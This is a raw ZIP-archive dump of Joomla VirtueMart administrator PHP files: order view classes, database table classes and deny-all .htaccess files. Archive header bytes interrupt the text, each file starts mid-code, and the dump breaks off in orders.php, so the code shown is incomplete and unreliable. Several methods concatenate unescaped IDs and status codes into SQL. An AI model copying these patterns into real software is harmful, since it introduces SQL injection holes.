      PKtl>\)Ycom_virtuemart_update/administrator/components/com_virtuemart/views/orders/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Ucom_virtuemart_update/administrator/components/com_virtuemart/views/orders/index.htmlnuW+APKtl>\!!Xcom_virtuemart_update/administrator/components/com_virtuemart/views/orders/view.html.phpnuW+AgetOrderStatusList(); $this->SetViewTitle( 'ORDER'); $orderModel = VmModel::getModel(); $curTask = JRequest::getWord('task'); if ($curTask == 'edit') { VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); VmConfig::loadJLang('com_virtuemart_orders', true); // Load addl models $userFieldsModel = VmModel::getModel('userfields'); $productModel = VmModel::getModel('product'); // Get the data $virtuemart_order_id = JRequest::getInt('virtuemart_order_id'); $order = $orderModel->getOrder($virtuemart_order_id); $_orderID = $order['details']['BT']->virtuemart_order_id; $orderbt = $order['details']['BT']; $orderst = (array_key_exists('ST', $order['details'])) ? $order['details']['ST'] : $orderbt; $orderbt ->invoiceNumber = $orderModel->getInvoiceNumber($orderbt->virtuemart_order_id); $currency = CurrencyDisplay::getInstance('',$order['details']['BT']->virtuemart_vendor_id); $this->assignRef('currency', $currency); $_userFields = $userFieldsModel->getUserFields( 'account' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username','password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ,'BT_' ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ,'ST_' ); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions... $_orderStatusList = array(); foreach ($orderStates as $orderState) { //$_orderStatusList[$orderState->virtuemart_orderstate_id] = $orderState->order_status_name; //When I use update, I have to use this? $_orderStatusList[$orderState->order_status_code] = JText::_($orderState->order_status_name); } $_itemStatusUpdateFields = array(); $_itemAttributesUpdateFields = array(); foreach($order['items'] as $_item) { $_itemStatusUpdateFields[$_item->virtuemart_order_item_id] = JHTML::_('select.genericlist', $orderStates, "item_id[".$_item->virtuemart_order_item_id."][order_status]", 'class="selectItemStatusCode"', 'order_status_code', 'order_status_name', $_item->order_status, 'order_item_status'.$_item->virtuemart_order_item_id,true); } if(!isset($_orderStatusList[$orderbt->order_status])){ if(empty($orderbt->order_status)){ $orderbt->order_status = 'unknown'; } $_orderStatusList[$orderbt->order_status] = JText::_('COM_VIRTUEMART_UNKNOWN_ORDER_STATUS'); } /* Assign the data */ $this->assignRef('orderdetails', $order); $this->assignRef('orderID', $_orderID); $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('orderstatuslist', $_orderStatusList); $this->assignRef('itemstatusupdatefields', $_itemStatusUpdateFields); $this->assignRef('itemattributesupdatefields', $_itemAttributesUpdateFields); $this->assignRef('orderbt', $orderbt); $this->assignRef('orderst', $orderst); $this->assignRef('virtuemart_shipmentmethod_id', $orderbt->virtuemart_shipmentmethod_id); /* Data for the Edit Status form popup */ $_currentOrderStat = $order['details']['BT']->order_status; // used to update all item status in one time $_orderStatusSelect = JHTML::_('select.genericlist', $orderStates, 'order_status', '', 'order_status_code', 'order_status_name', $_currentOrderStat, 'order_items_status',true); $this->assignRef('orderStatSelect', $_orderStatusSelect); $this->assignRef('currentOrderStat', $_currentOrderStat); /* Toolbar */ JToolBarHelper::custom( 'prevItem', 'back','','COM_VIRTUEMART_ITEM_PREVIOUS',false); JToolBarHelper::custom( 'nextItem', 'forward','','COM_VIRTUEMART_ITEM_NEXT',false); JToolBarHelper::divider(); JToolBarHelper::custom( 'cancel', 'back','back','back',false,false); } else if ($curTask == 'editOrderItem') { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $this->assignRef('orderstatuses', $orderStates); $model = VmModel::getModel(); $orderId = JRequest::getString('orderId', ''); $orderLineItem = JRequest::getVar('orderLineId', ''); $this->assignRef('virtuemart_order_id', $orderId); $this->assignRef('virtuemart_order_item_id', $orderLineItem); $orderItem = $model->getOrderLineDetails($orderId, $orderLineItem); $this->assignRef('orderitem', $orderItem); } else { $this->setLayout('orders'); $model = VmModel::getModel(); $this->addStandardDefaultViewLists($model,'created_on'); $orderStatusModel =VmModel::getModel('orderstatus'); $orderstates = JRequest::getWord('order_status_code',''); $this->lists['state_list'] = $orderStatusModel->renderOSList($orderstates,'order_status_code',FALSE,' onchange="this.form.submit();" '); $orderslist = $model->getOrdersList(); $this->assignRef('orderstatuses', $orderStates); if(!class_exists('CurrencyDisplay'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); /* Apply currency This must be done per order since it's vendor specific */ $_currencies = array(); // Save the currency data during this loop for performance reasons if ($orderslist) { foreach ($orderslist as $virtuemart_order_id => $order) { if(!empty($order->order_currency)){ $currency = $order->order_currency; } else if($order->virtuemart_vendor_id){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $currObj = VirtueMartModelVendor::getVendorCurrency($order->virtuemart_vendor_id); $currency = $currObj->virtuemart_currency_id; } //This is really interesting for multi-X, but I avoid to support it now already, lets stay it in the code if (!array_key_exists('curr'.$currency, $_currencies)) { $_currencies['curr'.$currency] = CurrencyDisplay::getInstance($currency,$order->virtuemart_vendor_id); } $order->order_total = $_currencies['curr'.$currency]->priceDisplay($order->order_total); $order->invoiceNumber = $model->getInvoiceNumber($order->virtuemart_order_id); } } /* * UpdateStatus removed from the toolbar; don't understand how this was intented to work but * the order ID's aren't properly passed. Might be readded later; the controller needs to handle * the arguments. */ /* Toolbar */ //JToolBarHelper::customX( 'CreateOrderHead', 'new','new','New',false); JToolBarHelper::save('updatestatus', JText::_('COM_VIRTUEMART_UPDATE_STATUS')); JToolBarHelper::deleteListX(); /* Assign the data */ $this->assignRef('orderslist', $orderslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } shopFunctions::checkSafePath(); parent::display($tpl); } } PKtl>\)Tcom_virtuemart_update/administrator/components/com_virtuemart/views/orders/.htaccessnuW+A Order allow,deny Deny from all PKtl>\QWcom_virtuemart_update/administrator/components/com_virtuemart/views/orders/view.raw.phpnuW+AgetOrder($virtuemart_order_id); //$order = $this->get('Order'); $orderNumber = $order['details']['BT']->virtuemart_order_number; $orderbt = $order['details']['BT']; $orderst = (array_key_exists('ST', $order['details'])) ? $order['details']['ST'] : $orderbt; $currency = CurrencyDisplay::getInstance('',$order['details']['BT']->virtuemart_vendor_id); $this->assignRef('currency', $currency); $_userFields = $userFieldsModel->getUserFields( 'registration' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions... $_orderStats = $this->get('OrderStatusList'); $_orderStatusList = array(); foreach ($_orderStats as $orderState) { $_orderStatusList[$orderState->order_status_code] = JText::_($orderState->order_status_name); } /*foreach($order['items'] as $_item) { if (!empty($_item->product_attribute)) { $_attribs = preg_split('/\s?\s?/i', $_item->product_attribute); $product = $productModel->getProduct($_item->virtuemart_product_id); $_productAttributes = array(); $_prodAttribs = explode(';', $product->attribute); foreach ($_prodAttribs as $_pAttr) { $_list = explode(',', $_pAttr); $_name = array_shift($_list); $_productAttributes[$_item->virtuemart_order_item_id][$_name] = array(); foreach ($_list as $_opt) { $_optObj = new stdClass(); $_optObj->option = $_opt; $_productAttributes[$_item->virtuemart_order_item_id][$_name][] = $_optObj; } } } }*/ //$_shipmentInfo = ShopFunctions::getShipmentRateDetails($orderbt->virtuemart_shipmentmethod_id); /* Assign the data */ $this->assignRef('orderdetails', $order); $this->assignRef('orderNumber', $orderNumber); $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('orderstatuslist', $_orderStatusList); $this->assignRef('orderbt', $orderbt); $this->assignRef('orderst', $orderst); $this->assignRef('virtuemart_shipmentmethod_id', $orderbt->virtuemart_shipmentmethod_id); error_reporting(0); parent::display($tpl); } } PKtl>\zzVcom_virtuemart_update/administrator/components/com_virtuemart/tables/manufacturers.phpnuW+AsetUniqueName('mf_name'); $this->setLoggable(); $this->setTranslatable(array('mf_name','mf_email','mf_desc','mf_url')); $this->setSlug('mf_name'); $this->setTableShortCut('m'); } } // pure php no closing tag PKtl>\.`LLXcom_virtuemart_update/administrator/components/com_virtuemart/tables/order_histories.phpnuW+AsetObligatoryKeys('virtuemart_order_id'); $this->setLoggable(); } } // pure php no closing tag PKtl>\/<Xcom_virtuemart_update/administrator/components/com_virtuemart/tables/order_userinfos.phpnuW+AsetLoggable(); } } // No closing tagPKtl>\)Ncom_virtuemart_update/administrator/components/com_virtuemart/tables/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ JQcom_virtuemart_update/administrator/components/com_virtuemart/tables/invoices.phpnuW+AsetUniqueName('invoice_number'); $this->setLoggable(); $this->setTableShortCut('inv'); } } PKtl>\ߝ\com_virtuemart_update/administrator/components/com_virtuemart/tables/category_categories.phpnuW+AsetPrimaryKey('category_child_id'); $this->setOrderable(); $this->setTableShortCut('cx'); } }PKtl>\StWcom_virtuemart_update/administrator/components/com_virtuemart/tables/calc_countries.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_country_id'); } } PKtl>\setPrimaryKey('virtuemart_category_id'); $this->setObligatoryKeys('category_name'); $this->setLoggable(); $this->setTranslatable(array('category_name','category_description','metadesc','metakey','customtitle')); $this->setSlug('category_name'); $this->setTableShortCut('c'); } public function check(){ $csValue = $this->limit_list_step; if(!empty($csValue)){ $sequenceArray = explode(',', $csValue); foreach($sequenceArray as &$csV){ $csV = (int)trim($csV); } $this->limit_list_step = implode(',',$sequenceArray); vmdebug('my check',$this->limit_list_step); } return parent::check(); } /** * Overwrite method * * @author jseros * @param $dirn movement number * @param $parent_id category parent id * @param $where sql WHERE clausule */ public function move( $dirn, $parent_id = 0, $where='' ) { if (!in_array( 'ordering', array_keys($this->getProperties()))) { vmError( get_class( $this ).' does not support ordering' ); return false; } $k = $this->_tbl_key; $sql = "SELECT c.".$this->_tbl_key.", c.ordering FROM ".$this->_tbl." c LEFT JOIN #__virtuemart_category_categories cx ON c.virtuemart_category_id = cx.category_child_id"; $condition = 'cx.category_parent_id = '. $this->_db->Quote($parent_id); $where = ($where ? ' AND '.$condition : $condition); if ($dirn < 0) { $sql .= ' WHERE c.ordering < '.(int) $this->ordering; $sql .= ($where ? ' AND '.$where : ''); $sql .= ' ORDER BY c.ordering DESC'; } else if ($dirn > 0) { $sql .= ' WHERE c.ordering > '.(int) $this->ordering; $sql .= ($where ? ' AND '. $where : ''); $sql .= ' ORDER BY c.ordering'; } else { $sql .= ' WHERE c.ordering = '.(int) $this->ordering; $sql .= ($where ? ' AND '.$where : ''); $sql .= ' ORDER BY c.ordering'; } $this->_db->setQuery( $sql, 0, 1 ); $row = null; $row = $this->_db->loadObject(); if (isset($row)) { $query = 'UPDATE '. $this->_tbl . ' SET ordering = '. (int) $row->ordering . ' WHERE '. $this->_tbl_key .' = '. $this->_db->Quote($this->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move isset row this->k '.$err ); } $query = 'UPDATE '.$this->_tbl . ' SET ordering = '.(int) $this->ordering . ' WHERE '.$this->_tbl_key.' = '.$this->_db->Quote($row->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move isset row $row->$k '.$err ); } $this->ordering = $row->ordering; } else { $query = 'UPDATE '. $this->_tbl . ' SET ordering = '.(int) $this->ordering . ' WHERE '. $this->_tbl_key .' = '. $this->_db->Quote($this->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move update '.$err ); } } return true; } /** * Overwrite method * Compacts the ordering sequence of the selected records * @author jseros * * @param $parent_id category parent id * @param string Additional where query to limit ordering to a particular subset of records */ function reorder( $parent_id = 0, $where='' ) { $k = $this->_tbl_key; if (!in_array( 'ordering', array_keys($this->getProperties() ) )) { vmError( get_class( $this ).' does not support ordering'); return false; } $query = 'SELECT c.'.$this->_tbl_key.', c.ordering' . ' FROM '. $this->_tbl . ' c' . ' LEFT JOIN #__virtuemart_category_categories cx' . ' ON c.virtuemart_category_id = cx.category_child_id' . ' WHERE c.ordering >= 0' . ( $where ? ' AND '. $where : '' ) . ' AND cx.category_parent_id = '. $parent_id . ' ORDER BY c.ordering'.$order2; $this->_db->setQuery( $query ); if (!($orders = $this->_db->loadObjectList())) { vmError($this->_db->getErrorMsg()); return false; } // compact the ordering numbers for ($i=0, $n=count( $orders ); $i < $n; $i++) { if ($orders[$i]->ordering >= 0) { if ($orders[$i]->ordering != $i+1) { $orders[$i]->ordering = $i+1; $query = 'UPDATE '.$this->_tbl . ' SET ordering = '. (int) $orders[$i]->ordering . ' WHERE '. $k .' = '. $this->_db->Quote($orders[$i]->$k) ; $this->_db->setQuery( $query); $this->_db->query(); } } } return true; } } PKtl>\ J//Pcom_virtuemart_update/administrator/components/com_virtuemart/tables/configs.phpnuW+AsetLoggable(); } } // pure php no closing tag PKtl>\@c Pcom_virtuemart_update/administrator/components/com_virtuemart/tables/customs.phpnuW+AsetUniqueName('custom_title'); $this->setObligatoryKeys('field_type'); $this->setLoggable(); $this->setOrderable('ordering',false); } /* * field from 3 table have to be checked at delete * #__vm_custom_field,#__virtuemart_customs,#__virtuemart_product_customfields */ function delete( $id=null , $where = 0 ){ $this->_db->setQuery('DELETE X,C FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS X ON X.`virtuemart_custom_id` = C.`virtuemart_custom_id` WHERE C.`virtuemart_custom_id`=' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } } // pure php no closing tag PKtl>\3,//Wcom_virtuemart_update/administrator/components/com_virtuemart/tables/product_medias.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable('ordering',true); // $this->setOrderableFormname('mediaordering'); } } PKtl>\Ocom_virtuemart_update/administrator/components/com_virtuemart/tables/index.htmlnuW+APKtl>\Pcom_virtuemart_update/administrator/components/com_virtuemart/tables/reports.phpnuW+A\̅mdcom_virtuemart_update/administrator/components/com_virtuemart/tables/paymentmethod_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_paymentmethod_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKtl>\y00Ocom_virtuemart_update/administrator/components/com_virtuemart/tables/states.phpnuW+AsetUniqueName('state_name'); $this->setObligatoryKeys('state_2_code'); $this->setObligatoryKeys('state_3_code'); $this->setLoggable(); } } // pure php no closing tag PKtl>\ܓC  [com_virtuemart_update/administrator/components/com_virtuemart/tables/product_categories.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_category_id'); $this->setOrderable('ordering',false); } } PKtl>\D Tcom_virtuemart_update/administrator/components/com_virtuemart/tables/orderstates.phpnuW+AsetObligatoryKeys('order_status_code'); $this->setObligatoryKeys('order_status_name'); $this->setObligatoryKeys('order_stock_handle'); $this->setLoggable(); } /** * Validates the order status record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check(){ $db = JFactory::getDBO(); $q = 'SELECT count(*),virtuemart_orderstate_id FROM `#__virtuemart_orderstates` '; $q .= 'WHERE `order_status_code`="' . $this->order_status_code . '"'; $db->setQuery($q); $row = $db->loadRow(); if(is_array($row)){ if($row[0]>0){ if($row[1] != $this->virtuemart_orderstate_id){ vmError(JText::_('COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS')); return false; } } } return parent::check(); } } //No CLosing Tag PKtl>\fScom_virtuemart_update/administrator/components/com_virtuemart/tables/worldzones.phpnuW+AsetUniqueName('zone_name'); $this->setLoggable(); } } // pure php no closing tag PKtl>\%::Rcom_virtuemart_update/administrator/components/com_virtuemart/tables/countries.phpnuW+AsetUniqueName('country_name'); $this->setObligatoryKeys('country_2_code'); $this->setObligatoryKeys('country_3_code'); $this->setLoggable(); $this->setOrderable('ordering',false); } } // pure php no closing tag PKtl>\P[--Ocom_virtuemart_update/administrator/components/com_virtuemart/tables/medias.phpnuW+AsetPrimaryKey('virtuemart_media_id'); // $this->setUniqueName('file_title'); $this->setLoggable (); } /** * * @author Max Milbers * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check () { $ok = TRUE; $notice = TRUE; if (empty($this->file_type) and empty($this->file_is_forSale)) { $ok = FALSE; vmError (JText::sprintf ('COM_VIRTUEMART_MEDIA_NO_TYPE'), $this->file_name); } if (!empty($this->file_url)) { if (function_exists ('mb_strlen')) { if (mb_strlen ($this->file_url) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_URL_TOO_LONG', mb_strlen ($this->file_url))); } } else { if (strlen ($this->file_url) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_URL_TOO_LONG', strlen ($this->file_url))); } } if (strpos ($this->file_url, '..') !== FALSE) { $ok = FALSE; vmError (JText::sprintf ('COM_VIRTUEMART_URL_NOT_VALID', $this->file_url)); } if (empty($this->virtuemart_media_id)) { $q = 'SELECT `virtuemart_media_id`,`file_url` FROM `' . $this->_tbl . '` WHERE `file_url` = "' . $this->_db->getEscaped ($this->file_url) . '" '; $this->_db->setQuery ($q); $unique_id = $this->_db->loadAssocList (); $count = count ($unique_id); if ($count !== 0) { if ($count == 1) { if (empty($this->virtuemart_media_id)) { $this->virtuemart_media_id = $unique_id[0]['virtuemart_media_id']; } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_IS_ALREADY_IN_DB')); $ok = FALSE; } } else { // vmError(JText::_('COM_VIRTUEMART_MEDIA_IS_DOUBLED_IN_DB')); vmError (JText::_ ('COM_VIRTUEMART_MEDIA_IS_DOUBLED_IN_DB')); $ok = FALSE; } } } } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_MUST_HAVE_URL')); $ok = FALSE; } if (empty($this->file_title) && !empty($this->file_name)) { $this->file_title = $this->file_name; } if (!empty($this->file_title)) { if (strlen ($this->file_title) > 126) { vmError (JText::sprintf ('COM_VIRTUEMART_TITLE_TOO_LONG', strlen ($this->file_title))); } $q = 'SELECT * FROM `' . $this->_tbl . '` '; $q .= 'WHERE `file_title`="' . $this->_db->getEscaped ($this->file_title) . '" AND `file_type`="' . $this->_db->getEscaped ($this->file_type) . '"'; $this->_db->setQuery ($q); $unique_id = $this->_db->loadAssocList (); $tblKey = 'virtuemart_media_id'; if (!empty($unique_id)) { foreach ($unique_id as $item) { if ($item['virtuemart_media_id'] != $this->virtuemart_media_id) { $lastDir = substr ($this->file_url, 0, strrpos ($this->file_url, '/')); $lastDir = substr ($lastDir, strrpos ($lastDir, '/') + 1); if (!empty($lastDir)) { $this->file_title = $this->file_title . '_' . $lastDir; } else { $this->file_title = $this->file_title . '_' . rand (1, 9); } } } } } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE')); $ok = FALSE; } if (!empty($this->file_description)) { if (strlen ($this->file_description) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_DESCRIPTION_TOO_LONG', strlen ($this->file_description))); } } // $app = JFactory::getApplication(); //vmError('Checking '.$this->file_url); if (empty($this->file_mimetype)) { $rel_path = str_replace ('/', DS, $this->file_url); //The function mime_content_type is deprecated, we may use /*function _mime_content_type($filename) { $result = new finfo(); if (is_resource($result) === true) { return $result->file($filename, FILEINFO_MIME_TYPE); } return false; } if (function_exists ('mime_content_type')) { $ok = TRUE; $app = JFactory::getApplication (); if (!$this->file_is_forSale) { $this->file_mimetype = mime_content_type (JPATH_ROOT . DS . $rel_path); } else { $this->file_mimetype = mime_content_type ($rel_path); } if (!empty($this->file_mimetype)) { if ($this->file_mimetype == 'directory') { vmError ('cant store this media, is a directory ' . $rel_path); return FALSE; } else { if (strpos ($this->file_mimetype, 'corrupt') !== FALSE) { vmError ('cant store this media, Document corrupt: Cannot read summary info ' . $rel_path); return FALSE; } } } else { vmError ('Couldnt resolve mime ' . $rel_path); return FALSE; } } else {*/ if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } if (!$this->file_is_forSale) { $lastIndexOfSlash = strrpos ($this->file_url, '/'); $name = substr ($this->file_url, $lastIndexOfSlash + 1); $file_extension = strtolower (JFile::getExt ($name)); } else { $lastIndexOfSlash = strrpos ($this->file_url, DS); $name = substr ($this->file_url, $lastIndexOfSlash + 1); $file_extension = strtolower (JFile::getExt ($name)); } if (empty($name)) { vmError (JText::_ ('COM_VIRTUEMART_NO_MEDIA')); } //images elseif($file_extension === 'jpg' or $file_extension === 'jpeg' or $file_extension === 'jpe'){ $this->file_mimetype = 'image/jpeg'; } elseif($file_extension === 'gif'){ $this->file_mimetype = 'image/gif'; } elseif($file_extension === 'png'){ $this->file_mimetype = 'image/png'; } elseif($file_extension === 'bmp'){ vmInfo(JText::sprintf('COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP',$name)); $notice = true; } //audio elseif($file_extension === 'mp3'){ $this->file_mimetype = 'audio/mpeg'; } elseif($file_extension === 'ogg'){ $this->file_mimetype = 'audio/ogg'; } elseif($file_extension === 'oga'){ $this->file_mimetype = 'audio/vorbis'; } elseif($file_extension === 'wma'){ $this->file_mimetype = 'audio-/x-ms-wma'; } //video //added missing mimetypes: m2v elseif( $file_extension === 'mp4' or $file_extension === 'mpe' or $file_extension === 'mpeg' or $file_extension === 'mpg' or $file_extension === 'mpga' or $file_extension === 'm2v'){ $this->file_mimetype = 'video/mpeg'; } elseif($file_extension === 'avi'){ $this->file_mimetype = 'video/x-msvideo'; } elseif($file_extension === 'qt' or $file_extension === 'mov'){ $this->file_mimetype = 'video/quicktime'; } elseif($file_extension === 'wmv'){ $this->file_mimetype = 'video/x-ms-wmv'; } //Added missing formats elseif($file_extension === '3gp'){ $this->file_mimetype = 'video/3gpp'; } elseif($file_extension === 'ogv'){ $this->file_mimetype = 'video/ogg'; } elseif($file_extension === 'flv'){ $this->file_mimetype = 'video/x-flv'; } elseif($file_extension === 'f4v'){ $this->file_mimetype = 'video/x-f4v'; } elseif($file_extension === 'm4v'){ $this->file_mimetype = 'video/x-m4v'; } elseif($file_extension === 'webm'){ $this->file_mimetype = 'video/webm'; } //applications elseif($file_extension === 'zip'){ $this->file_mimetype = 'application/zip'; } elseif($file_extension === 'pdf'){ $this->file_mimetype = 'application/pdf'; } elseif($file_extension === 'gz'){ $this->file_mimetype = 'application/x-gzip'; } elseif($file_extension === 'exe'){ $this->file_mimetype = 'application/octet-stream'; } elseif($file_extension === 'swf'){ $this->file_mimetype = 'application/x-shockwave-flash'; } //missing types elseif($file_extension === 'doc'){ $this->file_mimetype = 'application/msword'; } elseif($file_extension === 'docx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; } elseif($file_extension === 'xls'){ $this->file_mimetype = 'application/vnd.ms-excel'; } elseif($file_extension === 'xlsx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; } elseif($file_extension === 'ppt'){ $this->file_mimetype = 'application/vnd.ms-powerpoint'; } elseif($file_extension === 'pptx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.presentationml.presentation'; } elseif($file_extension === 'txt'){ $this->file_mimetype = 'text/plain'; } elseif($file_extension === 'rar'){ $this->file_mimetype = 'application/x-rar-compressed'; } else { vmInfo (JText::sprintf ('COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE', $name)); $notice = TRUE; } //} } //Nasty small hack, should work as long the word for default is in the language longer than 3 words and the first //letter should be always / or something like this //It prevents storing of the default path $a = trim(substr($this->file_url_thumb,0,4)); $b = trim(substr(JText::_('COM_VIRTUEMART_DEFAULT_URL'),0,4)); if( strpos($a,$b)!==FALSE ){ $this->file_url_thumb = null; } if ($ok) { return parent::check (); } else { return FALSE; } } /** * We need a customised error handler to catch the errors maybe thrown by * mime_content_type * * @author Max Milbers derived from Philippe Gerber */ function handleError ($errno, $errstr) { // error was suppressed with the @-operator if (0 === error_reporting ()) { return FALSE; } throw new ErrorException($errstr, 0); //echo 'I throw exception'; //throw new ErrorException($errstr, 0, $errno, $errfile, $errline); } } // pure php no closing tag PKtl>\d`a5 5 Scom_virtuemart_update/administrator/components/com_virtuemart/tables/currencies.phpnuW+AsetUniqueName('currency_name'); $this->setLoggable(); $this->setOrderable(); } function check(){ //$this->checkCurrencySymbol(); return parent::check(); } /** * ATM Unused ! * Checks a currency symbol wether it is a HTML entity. * When not and $convertToEntity is true, it converts the symbol * Seems not be used ATTENTION seems BROKEN, working only for euro, ... * */ function checkCurrencySymbol($convertToEntity=true ) { $symbol = str_replace('&', '&', $this->currency_symbol ); if( substr( $symbol, 0, 1) == '&' && substr( $symbol, strlen($symbol)-1, 1 ) == ';') { return $symbol; } else { if( $convertToEntity ) { $symbol = htmlentities( $symbol, ENT_QUOTES, 'utf-8' ); if( substr( $symbol, 0, 1) == '&' && substr( $symbol, strlen($symbol)-1, 1 ) == ';') { return $symbol; } // Sometimes htmlentities() doesn't return a valid HTML Entity switch( ord( $symbol ) ) { case 128: case 63: $symbol = '€'; break; } } } $this->currency_symbol = $symbol; } } // pure php no closing tag PKtl>\J>3[com_virtuemart_update/administrator/components/com_virtuemart/tables/calc_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKtl>\Ycom_virtuemart_update/administrator/components/com_virtuemart/tables/order_calc_rules.phpnuW+AsetLoggable(); } } // pure php no closing tag PKtl>\IkkWcom_virtuemart_update/administrator/components/com_virtuemart/tables/rating_reviews.phpnuW+AsetPrimaryKey('virtuemart_rating_review_id'); $this->setObligatoryKeys('comment'); $this->setLoggable(); } } // pure php no closing tag PKtl>\mK%^com_virtuemart_update/administrator/components/com_virtuemart/tables/product_manufacturers.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_manufacturer_id'); } } PKtl>\mn\com_virtuemart_update/administrator/components/com_virtuemart/tables/manufacturer_medias.phpnuW+AsetPrimaryKey('virtuemart_manufacturer_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); } } PKtl>\0sT]]Pcom_virtuemart_update/administrator/components/com_virtuemart/tables/vmusers.phpnuW+AsetPrimaryKey('virtuemart_user_id'); $this->setLoggable(); $this->setTableShortCut('vmu'); } } PKtl>\fTcom_virtuemart_update/administrator/components/com_virtuemart/tables/calc_states.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_state_id'); } } PKtl>\qOcom_virtuemart_update/administrator/components/com_virtuemart/tables/orders.phpnuW+AsetUniqueName('order_number'); $this->setLoggable(); $this->setTableShortCut('o'); } function check(){ if(empty($this->order_number)){ if(!class_exists('VirtueMartModelOrders')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'orders.php'); $this->order_number = VirtueMartModelOrders::generateOrderNumber((string)time()); } if(empty($this->order_pass)){ $this->order_pass = 'p_'.substr( md5((string)time().$this->order_number ), 0, 5); } $adminID = JFactory::getSession()->get('vmAdminID'); if(isset($adminID)) { $this->created_by = $adminID; } return parent::check(); } /** * Overloaded delete() to delete records from order_userinfo and order payment as well, * and write a record to the order history (TODO Or should the hist table be cleaned as well?) * * @var integer Order id * @return boolean True on success * @author Oscar van Eijk * @author Kohl Patrick */ function delete( $id=null , $where = 0 ){ $this->_db->setQuery('DELETE from `#__virtuemart_order_userinfos` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } /*vm_order_payment NOT EXIST have to find the table name*/ $this->_db->setQuery( 'SELECT `payment_element` FROM `#__virtuemart_paymentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_paymentmethods`.`virtuemart_paymentmethod_id` = `#__virtuemart_orders`.`virtuemart_paymentmethod_id` AND `virtuemart_order_id` = ' . $id ); $paymentTable = '#__virtuemart_payment_plg_'. $this->_db->loadResult(); $this->_db->setQuery('DELETE from `'.$paymentTable.'` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } /*vm_order_shipment NOT EXIST have to find the table name*/ $this->_db->setQuery( 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $id ); $shipmentName = $this->_db->loadResult(); if(empty($shipmentName)){ vmError('Seems the used shipmentmethod got deleted'); //Can we securely prevent this just using // 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` // WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = 